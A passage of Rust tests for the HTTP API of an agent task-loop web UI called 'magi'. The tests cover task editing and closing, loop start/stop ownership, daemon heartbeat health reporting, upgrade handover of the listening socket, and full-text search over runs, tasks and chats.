16751        queue.put(&mut owner).expect("file the owner");
16752        let mut task = Task::new(
16753            "draft".to_owned(),
16754            "old".to_owned(),
16755            repo.clone(),
16756            Source::Human,
16757        );
16758        queue.put(&mut task).expect("file the draft");
16759        let url = format!("/api/queue/{}/edit", task.id);
16760
16761        let refused = f
16762            .post(
16763                &url,
16764                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16765            )
16766            .await;
16767        assert_eq!(refused.status, 409, "{}", refused.body);
16768        let msg = refused.json()["error"]
16769            .as_str()
16770            .unwrap_or_default()
16771            .to_owned();
16772        assert!(
16773            msg.contains("magi/ab12/A") && msg.contains("force"),
16774            "{msg}"
16775        );
16776        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16777
16778        let forced = f
16779            .post(
16780                &url,
16781                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16782            )
16783            .await;
16784        assert_eq!(forced.status, 200, "{}", forced.body);
16785    }
16786
16787    #[tokio::test]
16788    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16789        let f = Fixture::start().await;
16790        let queue = f.queue();
16791        let mut task = Task::new(
16792            "in flight".to_owned(),
16793            "do not touch".to_owned(),
16794            PathBuf::from("/repo/magi"),
16795            Source::Human,
16796        );
16797        task.start("20260902-140502-bbbb".to_owned());
16798        queue.put(&mut task).expect("file the task");
16799
16800        let res = f
16801            .post(
16802                &format!("/api/queue/{}/edit", task.id),
16803                Some(r#"{"title":"x","instruction":"y"}"#),
16804            )
16805            .await;
16806        assert_eq!(res.status, 400, "{}", res.body);
16807        assert!(
16808            res.json()["error"]
16809                .as_str()
16810                .is_some_and(|e| e.contains("running")),
16811            "{}",
16812            res.body
16813        );
16814        assert_eq!(
16815            queue.get(&task.id).expect("reload").instruction,
16816            "do not touch",
16817            "the refused edit must not change the file"
16818        );
16819    }
16820
16821    #[tokio::test]
16822    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16823        let f = Fixture::start().await;
16824        let queue = f.queue();
16825        let mut task = Task::new(
16826            "busy".to_owned(),
16827            "Running right now".to_owned(),
16828            PathBuf::from("/repo/magi"),
16829            Source::Human,
16830        );
16831        queue.put(&mut task).expect("file the task");
16832        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16833
16834        let priority = f
16835            .post(
16836                &format!("/api/queue/{}/priority", task.id),
16837                Some(r#"{"priority":9}"#),
16838            )
16839            .await;
16840        assert_eq!(priority.status, 409, "{}", priority.body);
16841
16842        let edit = f
16843            .post(
16844                &format!("/api/queue/{}/edit", task.id),
16845                Some(r#"{"title":"x","instruction":"y"}"#),
16846            )
16847            .await;
16848        assert_eq!(edit.status, 409, "{}", edit.body);
16849    }
16850
16851    #[tokio::test]
16852    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16853        let f = Fixture::start().await;
16854        let queue = f.queue();
16855        let mut task = Task::new(
16856            "shipped by hand".to_owned(),
16857            "merged outside the loop".to_owned(),
16858            PathBuf::from("/repo/magi"),
16859            Source::Agent {
16860                run: "20260101-000000-b455".to_owned(),
16861                node: "implement".to_owned(),
16862            },
16863        );
16864        task.runs.push("20260101-000000-b455".to_owned());
16865        task.runs.push("20260101-000000-9af4".to_owned());
16866        queue.put(&mut task).expect("file the task");
16867        let created_at = task.created_at;
16868
16869        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16870        assert_eq!(done.status, 200, "{}", done.body);
16871        assert_eq!(done.json()["status_str"], "done");
16872
16873        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16874        assert_eq!(
16875            reloaded.runs,
16876            ["20260101-000000-b455", "20260101-000000-9af4"]
16877        );
16878        assert_eq!(
16879            reloaded.source,
16880            Source::Agent {
16881                run: "20260101-000000-b455".to_owned(),
16882                node: "implement".to_owned(),
16883            }
16884        );
16885        assert_eq!(reloaded.created_at, created_at);
16886    }
16887
16888    #[tokio::test]
16889    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16890        // `done` is allowed on any status, including `held`, with no release
16891        // in between - so a task held for a reason and then closed directly
16892        // must not keep reading as "waiting on" it afterwards, on its card or
16893        // in `magi task show`.
16894        let f = Fixture::start().await;
16895        let queue = f.queue();
16896        let mut task = Task::new(
16897            "landed while held".to_owned(),
16898            "x".to_owned(),
16899            PathBuf::from("/repo/magi"),
16900            Source::Human,
16901        );
16902        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16903        queue.put(&mut task).expect("file the held task");
16904
16905        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16906        assert_eq!(done.status, 200, "{}", done.body);
16907        assert_eq!(done.json()["status_str"], "done");
16908        assert!(
16909            done.json()["hold_reason"].is_null(),
16910            "a done task cannot still be waiting on something: {}",
16911            done.body
16912        );
16913    }
16914
16915    #[tokio::test]
16916    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16917        // `queue_done` is the phone's way to close a task the loop never
16918        // settled itself - after confirming a manual GitHub merge, say - and
16919        // that is just as much "this task's story is over" as the loop's own
16920        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16921        let f = Fixture::start().await;
16922        let queue = f.queue();
16923        let runs = f.runs();
16924        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16925        // The last attempt has to have actually landed for the earlier one
16926        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16927        // for the case where it didn't.
16928        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16929
16930        let mut task = Task::new(
16931            "landed by hand".to_owned(),
16932            "x".to_owned(),
16933            PathBuf::from("/repo/magi"),
16934            Source::Human,
16935        );
16936        task.runs.push("20260101-000000-doa1".to_owned());
16937        task.runs.push("20260101-000000-doa2".to_owned());
16938        queue.put(&mut task).expect("file the task");
16939
16940        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16941        assert_eq!(done.status, 200, "{}", done.body);
16942
16943        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16944            .expect("run still on disk under this fixture's own home");
16945        assert_eq!(
16946            reloaded_run.status,
16947            RunStatus::Superseded,
16948            "closing the task by hand must relabel the earlier blocked attempt exactly \
16949             like the loop's own settle path does"
16950        );
16951    }
16952
16953    #[tokio::test]
16954    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16955        // Closing a task by hand is allowed from any status, including one
16956        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16957        // manual merge the loop never watched, say. Nothing here is provably
16958        // why the task is done, so nothing earlier gets relabelled either.
16959        let f = Fixture::start().await;
16960        let queue = f.queue();
16961        let runs = f.runs();
16962        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16963        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16964
16965        let mut task = Task::new(
16966            "closed with nothing actually landed".to_owned(),
16967            "x".to_owned(),
16968            PathBuf::from("/repo/magi"),
16969            Source::Human,
16970        );
16971        task.runs.push("20260101-000000-dob1".to_owned());
16972        task.runs.push("20260101-000000-dob2".to_owned());
16973        queue.put(&mut task).expect("file the task");
16974
16975        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16976        assert_eq!(done.status, 200, "{}", done.body);
16977
16978        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16979            .expect("run still on disk under this fixture's own home");
16980        assert_eq!(
16981            reloaded_run.status,
16982            RunStatus::Blocked,
16983            "the last recorded attempt never landed, so the earlier one must not be \
16984             relabelled as superseded by it"
16985        );
16986    }
16987
16988    #[tokio::test]
16989    async fn unknown_ids_are_json_not_found_on_both_stores() {
16990        let f = Fixture::start().await;
16991
16992        let run = f.get("/api/runs/nosuchrun").await;
16993        let task = f.post("/api/queue/nosuchtask/hold", None).await;
16994
16995        assert_eq!(run.status, 404);
16996        assert_eq!(task.status, 404);
16997        assert!(
16998            run.json()["error"]
16999                .as_str()
17000                .is_some_and(|e| e.contains("run")),
17001            "the error names what was not found: {}",
17002            run.body
17003        );
17004        assert!(
17005            task.json()["error"]
17006                .as_str()
17007                .is_some_and(|e| e.contains("task")),
17008            "the error names what was not found: {}",
17009            task.body
17010        );
17011    }
17012
17013    #[tokio::test]
17014    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17015        let f = Fixture::start().await;
17016
17017        let missing = f.get("/api/health").await.json();
17018        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17019
17020        write_daemon(
17021            f.home.path(),
17022            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17023        );
17024        let stale = f.get("/api/health").await.json();
17025        assert_eq!(
17026            stale["daemon"]["running"], false,
17027            "a minute without a heartbeat is a dead daemon, not a busy one"
17028        );
17029        assert!(
17030            stale["daemon"]["stale_for_secs"]
17031                .as_i64()
17032                .is_some_and(|s| s >= 55),
17033            "staleness is reported so the UI can say how long: {stale}"
17034        );
17035
17036        write_daemon(f.home.path(), Timestamp::now());
17037        let fresh = f.get("/api/health").await.json();
17038        assert_eq!(fresh["daemon"]["running"], true);
17039        assert_eq!(fresh["daemon"]["idle"], false);
17040        assert_eq!(fresh["daemon"]["pid"], 4242);
17041        assert_eq!(fresh["daemon"]["completed"], 7);
17042        assert_eq!(
17043            fresh["daemon"]["current"][0]["task"],
17044            "20260902-140501-aaaa"
17045        );
17046        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17047    }
17048
17049    #[tokio::test]
17050    async fn the_loop_is_not_running_until_something_starts_it() {
17051        let f = Fixture::start().await;
17052
17053        let view = f.get("/api/loop").await.json();
17054        assert_eq!(view["running"], false);
17055        assert_eq!(
17056            view["owned"], false,
17057            "nobody owns a loop that does not exist: {view}"
17058        );
17059        assert_eq!(view["stopping"], false);
17060        assert_eq!(view["last_error"], Value::Null);
17061        assert_eq!(view["daemon"]["running"], false);
17062        assert_eq!(
17063            view["repo"], "/repo/magi",
17064            "the repository a start would use, named before it is started"
17065        );
17066    }
17067
17068    #[tokio::test]
17069    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17070        let f = Fixture::start().await;
17071
17072        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17073        assert_eq!(res.status, 200, "{}", res.body);
17074        let view = res.json();
17075        assert_eq!(view["running"], true);
17076        assert_eq!(
17077            view["owned"], true,
17078            "the loop the UI started is the UI's own to stop: {view}"
17079        );
17080        assert_eq!(
17081            view["merge"],
17082            Value::Null,
17083            "no override was given, so each repository's own config decides"
17084        );
17085
17086        // The same object from the route a waking phone polls first. Two
17087        // surfaces disagreeing about whether anything is running is exactly
17088        // the confusion this UI exists to remove.
17089        let health = f.get("/api/health").await.json();
17090        assert_eq!(health["loop"]["running"], true, "{health}");
17091        assert_eq!(health["loop"]["owned"], true, "{health}");
17092
17093        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17094    }
17095
17096    #[tokio::test]
17097    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17098        let f = Fixture::start().await;
17099        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17100        assert_eq!(first.status, 200, "{}", first.body);
17101
17102        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17103        assert_eq!(
17104            again.status, 409,
17105            "two loops on one queue race for the same claims: {}",
17106            again.body
17107        );
17108        assert!(
17109            again.json()["error"]
17110                .as_str()
17111                .is_some_and(|e| e.contains("already running the loop")),
17112            "the refusal has to say why: {}",
17113            again.body
17114        );
17115        assert_eq!(
17116            f.get("/api/loop").await.json()["running"],
17117            true,
17118            "and the loop that was already running is untouched by it"
17119        );
17120
17121        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17122    }
17123
17124    #[tokio::test]
17125    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17126        let f = Fixture::start().await;
17127        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17128
17129        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17130        assert_eq!(
17131            res.status, 200,
17132            "the answer must not wait for the loop: a run in flight is tens of \
17133             minutes and the operator is holding a phone: {}",
17134            res.body
17135        );
17136
17137        let view = settled(&f, |v| v["running"] == false).await;
17138        assert_eq!(view["owned"], false);
17139        assert_eq!(
17140            view["stopping"], false,
17141            "a loop that has stopped is not still stopping: {view}"
17142        );
17143        assert_eq!(
17144            view["last_error"],
17145            Value::Null,
17146            "a loop that was asked to stop did not fail: {view}"
17147        );
17148
17149        // Idempotent, because the operator cannot tell a slow stop from a lost
17150        // one and will press it again.
17151        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17152        assert_eq!(twice.status, 200, "{}", twice.body);
17153    }
17154
17155    #[tokio::test]
17156    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17157        let f = Fixture::start().await;
17158        // How the operator has been doing it: a `magi serve` of their own,
17159        // heartbeat fresh, in the same home this UI reads.
17160        write_daemon(f.home.path(), Timestamp::now());
17161
17162        let view = f.get("/api/loop").await.json();
17163        assert_eq!(view["running"], false, "not in this process: {view}");
17164        assert_eq!(view["owned"], false, "and not this process's to control");
17165        assert_eq!(
17166            view["daemon"]["running"], true,
17167            "but a loop is alive somewhere, which is what the UI must say"
17168        );
17169        assert_eq!(view["daemon"]["pid"], 4242);
17170
17171        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17172            let res = f.post("/api/loop", Some(body)).await;
17173            assert_eq!(
17174                res.status, 409,
17175                "neither button may pretend to work on someone else's loop: {}",
17176                res.body
17177            );
17178            assert!(
17179                res.json()["error"]
17180                    .as_str()
17181                    .is_some_and(|e| e.contains("4242")),
17182                "the refusal has to name the process the operator must go to: {}",
17183                res.body
17184            );
17185        }
17186        assert_eq!(
17187            f.get("/api/loop").await.json()["running"],
17188            false,
17189            "and the refusal started nothing"
17190        );
17191    }
17192
17193    #[tokio::test]
17194    async fn a_stale_status_file_is_not_a_foreign_owner() {
17195        let f = Fixture::start().await;
17196        write_daemon(
17197            f.home.path(),
17198            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17199        );
17200
17201        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17202        assert_eq!(
17203            res.status, 200,
17204            "a daemon killed a minute ago must not lock the loop out of its \
17205             own home for good: {}",
17206            res.body
17207        );
17208        assert_eq!(res.json()["running"], true);
17209
17210        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17211    }
17212
17213    #[tokio::test]
17214    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17215        let f = Fixture::start().await;
17216        let before = f.get("/api/health").await.json()["loop_rev"]
17217            .as_u64()
17218            .expect("a loop revision");
17219
17220        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17221
17222        let after = f.get("/api/health").await.json()["loop_rev"]
17223            .as_u64()
17224            .expect("a loop revision");
17225        assert!(
17226            after > before,
17227            "the loop is in-process state, so this counter is the only thing \
17228             that tells a second device the first one started it: {before} -> \
17229             {after}"
17230        );
17231
17232        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17233    }
17234
17235    #[tokio::test]
17236    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17237        let f = Fixture::with_loop(launch_broken).await;
17238
17239        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17240        assert_eq!(
17241            res.status, 200,
17242            "starting it is not the failure: {}",
17243            res.body
17244        );
17245
17246        let view = settled(&f, |v| v["last_error"].is_string()).await;
17247        assert_eq!(
17248            view["running"], false,
17249            "a loop that died must not read as running, or the operator has \
17250             nothing to press: {view}"
17251        );
17252        assert_eq!(view["owned"], false);
17253        assert!(
17254            view["last_error"]
17255                .as_str()
17256                .is_some_and(|e| e.contains("read-only file system")),
17257            "the phone is where a loop that died at 3am is visible: {view}"
17258        );
17259
17260        // And it can be started again: the corpse was reaped, not left to
17261        // occupy the slot.
17262        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17263        assert_eq!(again.status, 200, "{}", again.body);
17264        assert!(
17265            again.json()["last_error"]
17266                .as_str()
17267                .is_none_or(|e| !e.contains("read-only file system")),
17268            "a fresh start does not keep showing why the last one died: {}",
17269            again.body
17270        );
17271    }
17272
17273    /// An upgrade parks the run in flight before it restarts, and a park waits
17274    /// for the node - up to `timeout_implement`, an hour by default. The deck
17275    /// has to answer for all of it: the operator has just been told a run is
17276    /// finishing first, and this address is the only place that says how it is
17277    /// going. It did not, once - the listener went with the `select!` arm that
17278    /// began the handover, and the phone got `Cannot reach magi: Failed to
17279    /// fetch` for the rest of the wave.
17280    ///
17281    /// The other half is the older rule: the address must be free *before* the
17282    /// successor is started, or it dies on "address already in use" with its
17283    /// stdio sent to null and the deck never comes back.
17284    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17285    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17286        let home = TempDir::new().expect("temp home");
17287        let runs = home.path().join("runs");
17288        std::fs::create_dir_all(&runs).expect("runs dir");
17289        let ui = Ui::new(
17290            Queue::at(home.path().join("queue")),
17291            Questions::at(home.path().join("questions")),
17292            Talks::at(home.path().join("talks")),
17293            runs,
17294            home.path().to_path_buf(),
17295            PathBuf::from("/repo/magi"),
17296        )
17297        .with_worktrees_root(home.path().join("wt"))
17298        .with_launch(launch_knocking_on_the_way_out);
17299        let looping = ui.looping();
17300        let turns = ui.turns();
17301        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17302            .await
17303            .expect("bind loopback");
17304        let addr = listener.local_addr().expect("local addr");
17305        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17306        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17307
17308        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17309        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17310
17311        // The successor's whole job, and the one thing it cannot do while this
17312        // process still holds the socket.
17313        //
17314        // One bind is not enough, and the reason is not this process's order of
17315        // operations: aborting the accept loop drops the listener, but axum
17316        // serves each accepted connection on a task of its own, and those are
17317        // not aborted. The requests above left sockets on this very address,
17318        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
17319        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
17320        // Production absorbs that in `bind_waiting`; so does this. Only
17321        // `AddrInUse` is retried, and the listener is released before the
17322        // closure returns - were the order wrong, the listener would outlive
17323        // the closure and every attempt would fail. Inferred from the bind
17324        // rules and the code; not reproduced on macOS.
17325        let bound = std::sync::Mutex::new(None);
17326        hand_over(
17327            home.path(),
17328            &looping,
17329            &turns,
17330            &|_: &[String]| Duration::from_secs(5),
17331            served,
17332            |_| {
17333                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17334                let attempt = loop {
17335                    match std::net::TcpListener::bind(addr) {
17336                        Ok(l) => {
17337                            drop(l);
17338                            break Ok(());
17339                        }
17340                        Err(e)
17341                            if e.kind() == std::io::ErrorKind::AddrInUse
17342                                && std::time::Instant::now() < deadline =>
17343                        {
17344                            std::thread::sleep(std::time::Duration::from_millis(10));
17345                        }
17346                        Err(e) => break Err(e.to_string()),
17347                    }
17348                };
17349                *bound.lock().expect("bound") = Some(attempt);
17350                Ok(1)
17351            },
17352        )
17353        .await
17354        .expect("hand over");
17355
17356        assert_eq!(
17357            *PARK_HEARD.lock().expect("park heard"),
17358            Some(200),
17359            "the deck must answer while the loop is parking"
17360        );
17361        let attempt = bound
17362            .lock()
17363            .expect("bound")
17364            .take()
17365            .expect("the successor was started");
17366        assert!(
17367            attempt.is_ok(),
17368            "and the address must be free by the time it is: {attempt:?}"
17369        );
17370    }
17371
17372    #[tokio::test]
17373    async fn a_newer_daemon_status_file_still_renders() {
17374        let f = Fixture::start().await;
17375        // A field this build has never heard of must not turn the status line
17376        // into a 500; that is the whole reason the reader is permissive.
17377        std::fs::write(
17378            f.home.path().join("daemon.json"),
17379            serde_json::json!({
17380                "schema": 2,
17381                "updated_at": Timestamp::now().to_string(),
17382                "idle": true,
17383                "surprise": { "nested": [1, 2, 3] },
17384            })
17385            .to_string(),
17386        )
17387        .expect("write daemon.json");
17388
17389        let health = f.get("/api/health").await;
17390
17391        assert_eq!(health.status, 200);
17392        assert_eq!(health.json()["daemon"]["running"], true);
17393    }
17394
17395    #[tokio::test]
17396    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17397        let f = Fixture::start().await;
17398        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17399        let broken = f.runs().join("20260902-140502-bad");
17400        std::fs::create_dir_all(&broken).expect("run dir");
17401        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17402
17403        let list = f.get("/api/runs").await;
17404        let detail = f.get("/api/runs/20260902-140502-bad").await;
17405
17406        assert_eq!(list.status, 200);
17407        let listed = list.json();
17408        let ids: Vec<&str> = listed
17409            .as_array()
17410            .expect("an array")
17411            .iter()
17412            .map(|r| r["id"].as_str().expect("an id"))
17413            .collect();
17414        assert_eq!(
17415            ids,
17416            vec!["20260902-140501-good"],
17417            "one unreadable run must not cost the operator the whole history"
17418        );
17419        assert_eq!(detail.status, 500);
17420        assert!(
17421            detail.json()["error"]
17422                .as_str()
17423                .is_some_and(|e| e.contains("run.json")),
17424            "the failure names the file to look at: {}",
17425            detail.body
17426        );
17427        // A skipped run has to be countable somewhere, or the UI shows an
17428        // empty history with nothing to explain it - which is exactly what a
17429        // directory full of older-schema runs looks like.
17430        let health = f.get("/api/health").await;
17431        assert_eq!(health.json()["runs_unreadable"], 1);
17432    }
17433
17434    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17435    #[tokio::test]
17436    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17437        let f = Fixture::start().await;
17438        let runs = f.runs();
17439        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17440        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17441        // Text three levels down, in a shape no current RunState has: an older
17442        // schema must still search.
17443        let path = runs.join("20260902-140502-bbbb").join("run.json");
17444        let mut v: serde_json::Value =
17445            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17446        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17447        std::fs::write(&path, v.to_string()).unwrap();
17448        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17449        std::fs::write(
17450            runs.join("20260902-140503-cccc").join("run.json"),
17451            "{ not json",
17452        )
17453        .unwrap();
17454
17455        let res = f.get("/api/search?scope=runs&q=quokka").await;
17456        assert_eq!(res.status, 200, "{}", res.body);
17457        let v = res.json();
17458        assert_eq!(v["total"], 1, "{v}");
17459        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17460        assert_eq!(v["hits"][0]["field"], "text");
17461        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17462        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17463        assert!(
17464            parts
17465                .iter()
17466                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17467            "{v}"
17468        );
17469        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17470        assert_eq!(
17471            flat, "The Quokka leaks across threads",
17472            "whitespace is collapsed"
17473        );
17474
17475        // Terms are ANDed, across different fields, case-insensitively.
17476        let both = f
17477            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17478            .await
17479            .json();
17480        assert_eq!(both["total"], 1, "{both}");
17481        let neither = f
17482            .get("/api/search?scope=runs&q=quokka%20zebra")
17483            .await
17484            .json();
17485        assert_eq!(neither["total"], 0, "{neither}");
17486        // Everything in the task statement is reachable, not only the row text.
17487        let stmt = f
17488            .get("/api/search?scope=runs&q=mobile%20first")
17489            .await
17490            .json();
17491        assert_eq!(stmt["total"], 2, "{stmt}");
17492        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17493        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17494    }
17495
17496    #[test]
17497    fn snippet_ignores_terms_longer_than_the_field() {
17498        let terms = ["ok".to_owned(), "elephant".to_owned()];
17499        let parts = snippet_of("ok", &terms);
17500        assert_eq!(
17501            parts,
17502            vec![SnippetPart {
17503                text: "ok".to_owned(),
17504                hit: true
17505            }]
17506        );
17507    }
17508
17509    #[test]
17510    fn snippet_marks_matches_longer_than_the_window() {
17511        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17512        let hit_len = |parts: &[SnippetPart]| -> usize {
17513            parts
17514                .iter()
17515                .filter(|p| p.hit)
17516                .map(|p| p.text.chars().count())
17517                .sum()
17518        };
17519        let total =
17520            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17521
17522        let long = "a".repeat(120);
17523        let parts = snippet_of(&long, std::slice::from_ref(&long));
17524        assert!(hit_len(&parts) > 0, "{parts:?}");
17525        assert!(total(&parts) <= cap);
17526
17527        let ja = "あ".repeat(130);
17528        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17529        assert!(hit_len(&parts) > 0, "{parts:?}");
17530        assert!(total(&parts) <= cap);
17531
17532        // A short hit, then one straddling the window's end.
17533        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17534        let term = format!("ab{}", "c".repeat(100));
17535        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17536        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17537        assert!(total(&parts) <= cap);
17538
17539        // Only the head matches: not highlighted.
17540        let text = format!("{}z", "a".repeat(119));
17541        let parts = snippet_of(&text, &["a".repeat(120)]);
17542        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17543    }
17544
17545    #[tokio::test]
17546    async fn search_caps_hits_and_snippet_length() {
17547        let f = Fixture::start().await;
17548        let runs = f.runs();
17549        for n in 0..(SEARCH_MAX_HITS + 5) {
17550            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17551        }
17552        let v = f.get("/api/search?scope=runs&q=web").await.json();
17553        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17554        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17555        assert_eq!(v["truncated"], true);
17556        // Every listed run hit carries its list row for the page's filters.
17557        assert!(
17558            v["hits"]
17559                .as_array()
17560                .unwrap()
17561                .iter()
17562                .all(|h| h["run"]["status"] == "merged")
17563        );
17564
17565        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17566        let parts = snippet_of(&long, &["needle".to_owned()]);
17567        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17568        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17569        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17570    }
17571
17572    #[tokio::test]
17573    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17574        let f = Fixture::start().await;
17575        let queue = f.queue();
17576        let mut t = Task::new(
17577            "short title".to_owned(),
17578            "line one\nthe hidden Armadillo detail".to_owned(),
17579            PathBuf::from("/repo/magi"),
17580            Source::Agent {
17581                run: "r1".to_owned(),
17582                node: "chat".to_owned(),
17583            },
17584        );
17585        t.last_error = Some("disk full on /tmp".to_owned());
17586        queue.put(&mut t).expect("file the task");
17587
17588        for (q, want) in [
17589            ("armadillo", 1),
17590            ("disk%20FULL", 1),
17591            ("chat", 1),
17592            ("queued", 1),
17593            ("short%20nothing", 0),
17594        ] {
17595            let v = f
17596                .get(&format!("/api/search?scope=tasks&q={q}"))
17597                .await
17598                .json();
17599            assert_eq!(v["total"], want, "{q}: {v}");
17600        }
17601        for bad in [
17602            "/api/search?scope=tasks&q=",
17603            "/api/search?scope=tasks&q=%20",
17604            "/api/search?scope=chats&q=",
17605            "/api/search?scope=chats&q=%20",
17606            "/api/search?scope=nope&q=a",
17607            "/api/search?q=a",
17608        ] {
17609            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17610        }
17611    }
17612
17613    /// Write one conversation file the way the store reads it back.
17614    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17615        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17616            .expect("seat value");
17617        let turns: Vec<serde_json::Value> = turns
17618            .iter()
17619            .map(|(who, body)| {
17620                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17621            })
17622            .collect();
17623        let doc = serde_json::json!({
17624            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17625            "status": status, "turns": turns,
17626            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17627            "seat": seat,
17628        });
17629        let dir = f.home.path().join("talks");
17630        std::fs::create_dir_all(&dir).expect("talks dir");
17631        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17632    }
17633
17634    #[tokio::test]
17635    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17636        let f = Fixture::start().await;
17637        write_talk(
17638            &f,
17639            "20260901-000001-aaaa",
17640            "open",
17641            &[
17642                (
17643                    "operator",
17644                    "\n  Why does the Pangolin cache expire?\nsecond line",
17645                ),
17646                ("agent", "Because the TTL is thirty seconds."),
17647            ],
17648        );
17649        write_talk(
17650            &f,
17651            "20260901-000002-bbbb",
17652            "closed",
17653            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17654        );
17655        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17656
17657        let search = |q: &'static str| {
17658            let f = &f;
17659            async move {
17660                f.get(&format!("/api/search?scope=chats&q={q}"))
17661                    .await
17662                    .json()
17663            }
17664        };
17665
17666        let v = search("PANGOLIN").await;
